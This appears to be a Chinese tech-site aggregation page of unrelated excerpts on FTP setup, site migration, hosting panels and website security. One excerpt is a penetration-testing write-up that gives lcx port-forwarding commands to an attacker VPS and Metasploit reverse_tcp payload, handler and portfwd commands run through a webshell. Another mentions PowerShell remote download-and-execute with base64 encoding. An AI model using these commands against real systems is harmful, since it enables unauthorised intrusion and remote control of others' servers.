很多人可能会安装zblog程序，但是未必会恢复数据，很多种情况我们都会需要把网站打包，数据库导出作为备份，然后是你自己的，可能上传到空间就可以使用了，但是别人的程序我们该怎么办？接下来就简单的介绍下，zblog网站数据如何恢复。
说真的，在我印象里关于zblog网站迁移来说是没有什么技术难题的，当然跟别的程序不太一样，别的网站程序，数据迁移可能需要修改很多的配置文件才行或者说某些文件修改比较费劲，那时我就建议用帝国备份是做，zblog本身迁移就很简单，但是最近有几个网友一直在问我关于网站迁移的问题，索性有时间就做一个简单的小教程，老司机请绕行~~~
坑，太坑了，公司一个项目因为是代运维，所以通知信息都不在我们这里，因为要五一放假了同事无聊查看该项目官网，发现网站的SSL证书到期了，然后第一时间找我，我的第一印象就是这个服务器不是我弄的，但是解决办法才是首要任务，我就开始查找资料，有关服务器的所有资料，发现只有FTP能链接（账号密码是原来的），但是在登录SSH的时候密码不正确，FTP能链接，服务器登录不了，挺神奇的哈！
不知道从何时起，qq群邮件就成为了钓鱼软件传播的一个绝佳场所，什么“”萌妹变声器”，“破解UU加速器”。 我偶尔闲的无聊的时候，就会下载下来耗费几分钟逆(ti)向(chuan)一下.发现钓鱼软件总是要把自己服务器的账号密码写到软件里面。 现在我们来一起捋一捋这个事情。
域名的管理密码是域名的核心，拥有者除了验证域名所有权外还需要妥善保管好域名管理密码，因为域名是需要通过DNS服务器解析指向特定的网站服务器，就相当于拨打某个手机号码能连接到你的手机一样，只是手机号码指向哪张卡由电信营运商设置，而域名的指向是由域名管理员也就是掌握域名管理密码的人设置。很多企业认为域名是由建站公司或者是域名提供商申请的，也不知道域名还有密码这一个说法，所以有时候会导致域名过期后没有及时续费被其他人抢注的风险，也会出现使用多年的域名最终不属于自己的结果。域名不但有管理密码，还有域名证书，域名证书是证明域名所有权的官方证明。如果你是委托建站公司注册域名，请务必索要相关密码，一般建站公司是通过自己的账号代你注册域名，因此预计你能拿到的是域名管理密码，而非自行登录域名注册平台续费和管理域名，如果你是通过网站程序网建站注册的域名，域名续费和管理都是掌握在自己手中，我们代理阿里云和西部数码两个域名注册商的域名，你也可以随时申请将域名转到其他管理平台。
魏艾斯博客的 linux VPS 教程使用的是军哥 lnmp1.3 版本，命令和之前的版本有所不同。FTP 服务器需要用户自己创建，lnmp 已经把程序给我们准备好了，也不麻烦我们来看看怎么创建。 首
在安装 AMH4.2 面板之后，我们要开始使用它了。参照宝塔 linux 面板使用教程来看，其实这类面板设置方式无外乎三个地方： 一是添加虚拟主机。 二是添加 ftp 账号密码。 三是添加 Mysql 数据库账号密码。 把这三个地方都添加好了，基本也就完成工作了。下面我们来看一下 AMH4.2 面板添加虚拟主机的设置。 主机标识名：用来标识不同主机和生成 web 文件夹名用的。 绑定域名：加上自己的域名就可以了。 网站根目录和主机日志目录都是根据主机标识名生成的。 Rewirte 规则就默认的吧。 主机日志
接触过公司内部运维或者审计工作的人肯定都听说过堡垒机，堡垒机并不是大家想象中的机器设备，而是属于一种为保护公司内部信息安全的手段，现在很多公司内部都会部署堡垒机，对于公司内部的系统运维以及安全审计工作有非常大的帮助，让员工们工作起来也更加方便。堡垒机在使用过程中是可以连接公司内部的ftp服务器的，那么怎么用堡垒机连接ftp服务器？堡垒机连接ftp服务器为何会失败？
总有些人账号密码太多，多到自己也记不住，然后来回反复的尝试，还是想不起来，总觉得这个密码是对的，但是，，，就不是登录不了，当然有些人说的就是我自己，账号密码实在是太多了，尤其是一些重要的账号密码，还不能重复，还得防止密码撞库，妈耶，头都大了。。。
FlashFXP 使用其实就是为了实现文件的上传和下载，它要结合另一款软件Serv-U进行具体实现，详细设置参考我的前一篇博客：《FTP服务器搭建基础工具：Serv-U 14.0.2使用教程》，下面具体实现~~
网站域名其实就是网址的另一个别称，如果我们想要创业的话，必须要申请一个网站域名，因为这样别人才能通过网站了解我们的项目。对于很多新手朋友们来说，申请一个网站域名还是不太容易的，很多朋友都不知道怎么弄网站域名，那么，怎么弄网站域名呢？下面我们一起来简单的了解一下吧。
“小博客站点没有攻击价值”这个观点，是个很害人的观点，特别是对很多小白站长们来说，因为现在的互联网环境下攻击你的服务器已经不需要“价值”了，攻击你想要的是你的服务器资源，比如：端口、IP、CPU、硬盘、内存这些，用来当做“肉鸡”出售给需要的人、用来当做“挖矿（可以理解为是赚取比特币行为）”客户端等等。甚至可以说攻击你服务器或者网站的仅仅是个自动执行的爬虫代码而已，无人值守型的还是。所以，不要再抱着“小博客站点没有攻击价值”这个观点来蒙蔽自己了，否则那就真的是“麻木不仁”了！
我经常被某网盘折磨，每次下载的速度都极其感人，明明家里的网络是千兆的，结果跑出几十 KB 每秒的下载速度，甚至都有点怀疑自己还身处 3G 时代。
其实服务器如果安装了宝塔一般是没有必要在用ftp工具上传文件的了。但是很多人也习惯了用ftp工具上传或者是出售虚拟主机给了别人，这种情况下估计还是想要一个ftp账号密码登陆使用空间，但是很多人遇到的是在宝塔面板后台建立了ftp账号密码，然后也正确的填写了登陆信息就是连接不上这是什么问题呢？
有关FTP 软件使用教程在网络上到处都是，本来魏艾斯博客也不打算啰嗦了，后来想本博客建立的初衷就是为了给广大新手站长从零起步学习用的，想当初博主我也是从什么都不懂开始边学边做站的。废话不多说，我们进入今天的主题：FTP 软件使用教程。 FTP 软件通俗来说就是你本地电脑和 vps（或者虚拟空间）之间数据传输的工具。FTP 软件有很多种，博主用过的有 CuteFtp、FlashFXP、Leapftp 和 8UFTP，大家的功能大同小异，我们最主要的都是 FTP 上传下载功能，现在博主常用 8UFTP，他的优点
使用如下命令#rpm -qa |grep vsftpd可以检测出是否安装了vsftpd软件，
请注意，本文编写于 666 天前，最后修改于 666 天前，其中某些信息可能已经过时。
昨天明月经历了一件有关 WordPress 站点安全意识的奇葩事儿，很是凸显现在互联网甚至个人电脑的安全形势，今天就给大家分享一下这个经历，希望可以提高大家对站点安全的防护意识，不要犯这样的错误。
网站上看每月盈亏方便，但一次次看每日盈亏手指都要点抽筋了。习惯性的按下F12，哐哐一顿抓包，参数倒是简单，但好像没在页面上操作账号就会被强制登出，所以用协议的方式好像不大合适。因此，用易语言弄了个小工具来回忆这波“血泪史”。
1、首先我们需要登录DZ论坛后台，在全局设置里边，关闭站点，防止网站出现新数据导致备份数据不完整。如图：
大家平时生活中除了在线使用图片或者视频之外，很多时候都是需要从互联网上面下载文件的，从手机或者电脑等设备上面下载文件或者上传文件是很常用的，这也就是大家口中常说的网络文件传输，想要正常进行文件传输是需要有相关的FTP服务支持的，网站建设过程中需要在服务器上面创建ftp服务端，相信大家平时生活中对于这个问题也是比较好奇的，那么云服务器上面创建ftp服务端怎么操作？云服务器上面创建ftp服务端安全吗？
如果使用的是阿里云服务器，需要在安全组设置中，对22、21端口放行，并且被动端口（39000 – 40000）也需要处于放行状态
Everything是一个私有的免费Windows桌面搜索引擎，可以在NTFS卷上快速地根据名称查找文件和目录。
0x02 reverse_tcp实战应用过程 (1) 前期测试 试了些已公布的2008提权EXP，不过都失败了，第三方软件也只找到一个Filezilla Server。先把C:\Program Files (x86)\FileZilla Server文件夹打包到我们本地，然后再用lcx把Filezilla Server的14147端口转发出来，lcx执行命令如下。 首先VPS机器监听51端口，连接用14147端口： VPS机器执行： C:\>lcx.exe -listen 51 14147 目标机器执行： /c C:\aspSmartUpload\lcx.exe -slave {公网VPS IP} 51 127.0.0.1 14147 lcx转发了FileZilla Server的14147端口后还是连接不上，返回右上图这样的报错，Google翻译报错信息得知：协议错误：未通过身份验证，关闭连接，连接到服务器关闭。使用netstat -ano命令查看当前网络连接状态如下。 TCP 9*.1*9.4.1*3:139 0.0.0.0:0 LISTENING 4 TCP 9*.1*9.4.1*3:54133 1*3.2*1.*7.1*8:51 ESTABLISHED 2028 TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 1040 TCP 127.0.0.1:14147 0.0.0.0:0 LISTENING 1088 TCP 127.0.0.1:14147 127.0.0.1:49160 ESTABLISHED 1088 TCP 127.0.0.1:49160 127.0.0.1:14147 ESTABLISHED 5736 可以看到我们已经与目标机器建立了一个完整TCP连接，而且我们本地机器也成功的返回了数据，但是好像返回的数据信息中有错误，如下图。 当前问题： 不能正常把目标服务器的FileZilla Server 14147端口给转发出来，返回数据中出错了，所以无法在本地连接上FileZilla Server服务端。 解决办法： 利用Metasploit工具里的reverse_tcp反向连接生成一个EXE攻击载荷文件，然后在Meterpreter会话中用portfwd命令进行端口转发即可。 (2) 实战应用 如果我们自己也处于内网环境的情况下，那么就需要先在路由器里进行端口映射配置，然后再用reverse_tcp反向连接来生成一个EXE攻击载荷文件，命令如下。 root@devil:~# msfpayload windows/x64/meterpreter/reverse_tcp LHOST=1*3.2*1.*7.1*8 LPORT=12345 X > /media/sf_系统学习/test.exe 先把我们生成好的test.exe载荷文件上传至目标机器的可读/写目录下，然后进入到MSF完成所有必填的配置选项，执行命令如下。 use exploit/mutil/handler //加载监听模块 set PAYLOADY windows/x64/meterpreter/reverse_tcp //设置攻击载荷 set LHOST 192.168.1.4 //设置攻击者内网IP set LPORT 12345 //设置本地监听端口 exploit //exploit执行监听 将必填配置选项完成后执行exploit命令进行监听，然后在WebShell执行C:\aspSmartUpload\test.exe载荷文件，如果成功的话就会返回一个reverse_tcp反向连接的会话。 成功得到目标机器Meterpreter会话，然后直接使用portfwd命令进行端口转发即可，执行命令如下。 meterpreter > portfwd add -l 14147 -p 14147 -r 127.0.0.1 使用portfwd命令成功执行端口转发操作后，我们再来连接目标机器的FileZilla Server服务端看下是否能正常连接
一开始跟客服说客服说办理专网才有公网IP,申请失败!(客服可能理解错了,要的不是固定的公网IP,有钱当然随意了)
本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集，旨在提高网络安全技术水平为目的，只做技术研究，谨遵守国家相关法律法规，请勿用于违法用途，如果您对文章内容有疑问，可以尝试加入交流群讨论或留言私信，如有侵权请联系小编处理。
2、登陆后，左边是管理栏目，右边就是显示的系统状态，可以很清楚的看到当前服务器的系统各项信息，如图：
群友问如何能实现修改本地网站文件后，能自动同步服务器呢？除了 ftp 软件上传覆盖这种手动的办法之外，还可以使用 dreamweaver 软件的管理站点功能来实现。这种办法比较的传统，魏艾斯博客记得很多 dreamweaver 教学书籍里面，站点管理功能都是必有的一章内容，一般用来学习 ftp 上传下载功能，熟悉服务器文件夹结构，方便本地直接修改、管理服务器文件使用。
Windows服务器远程复制粘贴大文件，又卡又慢，微软官网推荐了一种貌似OK的办法
总结和反思： 1. win中执行powershell的远程代码下载执行注意双引号转义 2. 对powershell代码先转为windows上默认的Unicode编码方式(UTF-16LE)再转为base64执行，防止代码内容被破坏 3. 学会查CVE漏洞 4. 通过命令行把终端内容保存到剪切板中 5. 运维人员密码修改的规律，仅仅修改了密码中的年份，这是设置新密码常用的思路
截至2018年4月20日，NASA阻止了所有向公众服务器发送的FTP请求—包括LAADS DAAC和LANCE NRT。传统的FTP下载通道于2018年4月20日被关闭。官方为用户提供了全新的下载方式——HTTPS。
对于很多完全没有接触过wordpress和网站搭建的用户来说，还是比较难的，需要学习和了解的知识点还是很多的，但是对于稍微熟悉了的用户来说基本上就是分分钟的事儿，今天就给大家盘点一下有哪些需要了解和掌握的知识点吧。
网站安全一直以来都是各大网站运营者们比较关注的难题，一个网站平台，要是没有一种安全防护的系统环境，做得再强，也没什么价值，如果遇到被黑客攻击，损失就会非常大。因此，学好如何防范不被黑客攻击，维护好自个儿的网站，是必需的条件。
其实大多数时候我们都是在本地开发、测试，等项目基本完成后才会部署到线上服务器，但总有那么一些情况我们需要在线上服务器开发部署测试。比如：开发微信公众号后台等
装好后输入域名进入网站：点击获取权限下载信息文件：内容包括数据库，ftp,wordpress账号密码。。。
这里利用的是 宝塔 Linux 控制面板。 宝塔 Linux 面板功能强大，能够一键创建网站、FTP、数据库、SSL； 对服务器进行安全管理，计划任务，文件管理，可以查看服务器资源使用情况。自带 LNMP 与 LAMP ，一键配置服务器环境。
网站被黑，打开网站竟然跳转到博cai网站上去了，一开始以为自己看错了，多次从百度点击自己网站进去，还是会跳转到彩piao网站上，第一反应是自己的网站被黑了，经营网站很多年了，从来未遇到过这种情况。
wordpress搭建网站需要掌握和了解哪些知识点？【文章来源：https://www.zouaw.com/4512.html】
某一客户单位的网站首页被篡改，并收到网监的通知说是网站有漏洞，接到上级部门的信息安全整改通报，贵单位网站被植入木马文件，导致网站首页篡改跳转到caipiao网站，根据中华人民共和国计算机信息系统安全保护条例以及信息安全等级保护管理办法的规定，请贵单位尽快对网站漏洞进行修复，核实网站发生的实际安全问题，对发生的问题进行全面的整改与处理，避免网站事态扩大。我们SINE安全公司第一时间应急响应处理，对客户的网站进行安全检测，消除网站安全隐患。
网站被黑有哪些原因，第一个网站运行环境软件存在漏洞，我不知道大家有没有关心到前面的一个新闻。我们的一个运行软件PHPstudy，它实际上是存在一些漏洞问题的，大家我们这里可以来看一下，确实是PHPstudy的话，它的一个旧版本它确实存在一些漏洞问题，这里的话我就不仔细去给大家去看了只是说让大家了解一下。
撞库攻击是如今最常见的攻击，给企业带来巨大威胁。撞库带来的威胁往往不是直接的，但是由此造成的信息泄露以及进一步的渗透与攻击会更为严重。Akamai的报告显示，2018年五月到十二月期间，共发生了约280亿次撞库攻击，其中零售网站是遭遇攻击最多的，累计超过100亿次。
服务指纹识别在渗透过程能让我们快速发现可利用的点，针对一个端口，其部署了什么服务，这个工作，nmap 可以很好的判断出结果，那么在不使用工具，仅仅通过 nc 或者 telnet 连接端口，有哪些服务可以一眼看出呢？
当你安装 WDCP 面板之后，就要开始用来添加和管理网站了。使用面板的好处就是可视化的管理网站，不用像 lnmp 那样使用命令行来操作。点几下按钮就可以创建一个功能完整的 php 网站了。下面我们来讲
为了安全考虑，WPJAM Basic 提供了禁止使用 admin 用户名尝试登录的功能选项。
菜鸡又来发表文章了，一开始的时候对整个内网的拓扑结构还不熟，所以做的时候很乱，写的也很乱。有很多方法都没有想到去用。qaq大佬们多多指教。
一开始的时候对整个内网的拓扑结构还不熟，所以做的时候有很多方法都没有想到去用,大家多多指教。 一、环境准备 用网线连接交换机 配置Winodwss攻击机IP为172.16.6.203 攻击机Kali IP为172.16.6.202 主机IP为172.16.6.201 网关为172.16.6.1 子网掩码255.255.255.0 目标IP 172.16.6.10 二、渗透具体流程 总览拓扑图 一开始以为192.168.6.200，一台普通的双网卡主机，没有发现是防火墙，所以10.1.1.0网段的主机拓扑不够
旅游系统设计分为前后网站和后台管理系统，功能点包含旅游景点信息分类展示、景点详情（地理位置、特色景点概述等）、下单预订、记录分享等功能。需搭建ftp服务:https://blog.csdn.net/weixin_44989660/article/details/111280276 一：前端子系统功能需求分析 1.游客注册登录功能模块：游客预定景点等操作需要先将账号密码进行注册，根据注册的账号密码登录到前端子系统中对功能模块进行操作。 2.预定景点功能模块：游客遇到自己喜欢的景点信息后，可以通过点击预定景点按钮进行填写对应数据，并成功支付后将会成功将景点信息进行预定。 3.查看景点功能模块：根据访问地址进入到系统后可以按照景点的类型、搜索景点等操作查看景点的图片信息、景点路线信息等，加速游客对景点信息的了解。 4.我的账户功能模块：该功能模块中可以对用户所下订单进行查看等，尚未支付的订单可以进行支付订单操作，可以对游客的基本账号信息和登录密码信息进行修改的操作。
之前使用的是阿里云的php虚拟空间，可以只需要把wordpress包上传后就可以了，但感觉这样不灵活，虚拟空间也只能用来搭博客，不能干其他事。 所以我买了阿里云的ecs，其实就是一个远程linux虚机主机。 为了搭建博客，我必须安装配置php环境、ftp、apache、mysql等东西，踩了一部分坑，为了让大家少踩坑，特意在此记录我在ubuntu搭建workpess的过程，作为大家参考手册。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
实时音视频
即时通信 IM
